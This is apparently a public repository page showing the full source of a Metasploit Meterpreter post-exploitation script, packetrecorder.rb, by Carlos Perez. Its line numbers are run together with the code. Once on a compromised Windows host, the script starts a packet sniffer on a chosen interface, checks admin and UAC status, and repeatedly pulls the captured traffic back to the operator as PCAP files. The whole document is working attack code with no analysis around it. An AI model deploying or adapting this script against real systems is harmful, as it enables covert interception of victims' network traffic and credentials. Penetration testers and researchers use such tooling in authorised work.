Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/packetrecorder.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Carlos Perez at carlos_perez[at]darkoperator.com8#-------------------------------------------------------------------------------9################## Variable Declarations ##################1011@client = client1213# Interval for recording packets14rec_time = 301516# Interface ID17int_id = nil1819# List Interfaces20list_int = nil2122# Log Folder23log_dest = nil24@exec_opts = Rex::Parser::Arguments.new(25"-h" => [ false, "Help menu."],26"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],27"-i" => [ true, "Interface ID number where all packet capture will be done."],28"-L" => [ false, "List interfaces that can be used for capture."],29"-l" => [ true, "Specify and alternate folder to save PCAP file."]30)31meter_type = client.platform3233################## Function Declarations ##################3435# Usage Message Function36#-------------------------------------------------------------------------------37def usage38print_line "Meterpreter Script for capturing packets in to a PCAP file"39print_line "on a target host given a interface ID."40print_line(@exec_opts.usage)41raise Rex::Script::Completed42end4344# Wrong Meterpreter Version Message Function45#-------------------------------------------------------------------------------46def wrong_meter_version(meter = meter_type)47print_error("#{meter} version of Meterpreter is not supported with this Script!")48raise Rex::Script::Completed49end5051# Function for creating log folder and returning log pa52#-------------------------------------------------------------------------------53def log_file(log_path = nil)54#Get hostname55host = @client.sys.config.sysinfo["Computer"]5657# Create Filename info to be appended to downloaded files58filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")5960# Create a directory for the logs61if log_path62logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )63else64logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )65end6667# Create the log directory68::FileUtils.mkdir_p(logs)6970#logfile name71logfile = logs + ::File::Separator + host + filenameinfo + ".cap"72return Rex::FileUtils.clean_path(logfile)73end7475#Function for Starting Capture76#-------------------------------------------------------------------------------77def startsniff(interface_id)78begin79#Load Sniffer module80@client.core.use("sniffer")81print_status("Starting Packet capture on interface #{interface_id}")82#starting packet capture with a buffer size of 200,000 packets83@client.sniffer.capture_start(interface_id, 200000)84print_good("Packet capture started")85rescue ::Exception => e86print_status("Error Starting Packet Capture: #{e.class} #{e}")87raise Rex::Script::Completed88end89end9091#Function for Recording captured packets into PCAP file92#-------------------------------------------------------------------------------93def packetrecord(packtime, logfile,intid)94begin95rec = 196print_status("Packets being saved in to #{logfile}")97print_status("Packet capture interval is #{packtime} Seconds")98#Inserting Packets every number of seconds specified99while rec == 1100path_cap = logfile101path_raw = logfile + '.raw'102fd = ::File.new(path_raw, 'wb+')103#Flushing Buffers104res = @client.sniffer.capture_dump(intid)105bytes_all = res[:bytes] || 0106bytes_got = 0107bytes_pct = 0108while (bytes_all > 0)109res = @client.sniffer.capture_dump_read(intid,1024*512)110bytes_got += res[:bytes]111pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i112if(pct > bytes_pct)113bytes_pct = pct114end115break if res[:bytes] == 0116fd.write(res[:data])117end118119fd.close120#Converting raw file to PCAP121fd = nil122if(::File.exist?(path_cap))123fd = ::File.new(path_cap, 'ab+')124else125fd = ::File.new(path_cap, 'wb+')126fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))127end128od = ::File.new(path_raw, 'rb')129130# TODO: reorder packets based on the ID (only an issue if the buffer wraps)131while(true)132buf = od.read(20)133break if not buf134135idh,idl,thi,tlo,len = buf.unpack('N5')136break if not len137if(len > 10000)138print_error("Corrupted packet data (length:#{len})")139break140end141142pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)143pkt = od.read(len)144fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)145end146od.close147fd.close148149::File.unlink(path_raw)150sleep(2)151sleep(packtime.to_i)152153end154rescue::Exception => e155print("\n")156print_status("#{e.class} #{e}")157print_good("Stopping Packet sniffer...")158@client.sniffer.capture_stop(intid)159end160end161162# Function for listing interfaces163# ------------------------------------------------------------------------------164def int_list()165begin166@client.core.use("sniffer")167ifaces = @client.sniffer.interfaces()168169print_line()170171ifaces.each do |i|172print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",173i['idx'], i['description'],174i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])175)176end177178print_line()179rescue ::Exception => e180print_error("Error listing interface: #{e.class} #{e}")181end182raise Rex::Script::Completed183end184185################## Main ##################186@exec_opts.parse(args) { |opt, idx, val|187case opt188when "-h"189usage190when "-i"191int_id = val.to_i192when "-l"193log_dest = val194when "-L"195list_int = 1196when "-t"197rec_time = val198end199}200201# Check for Version of Meterpreter202wrong_meter_version(meter_type) if meter_type != 'windows'203204if !int_id.nil? or !list_int.nil?205if not is_uac_enabled? or is_admin?206if !list_int.nil?207int_list208else209pcap_file = log_file(log_dest)210startsniff(int_id)211packetrecord(rec_time,pcap_file,int_id)212end213else214print_error("Access denied (UAC enabled?)")215end216else217usage218end219220221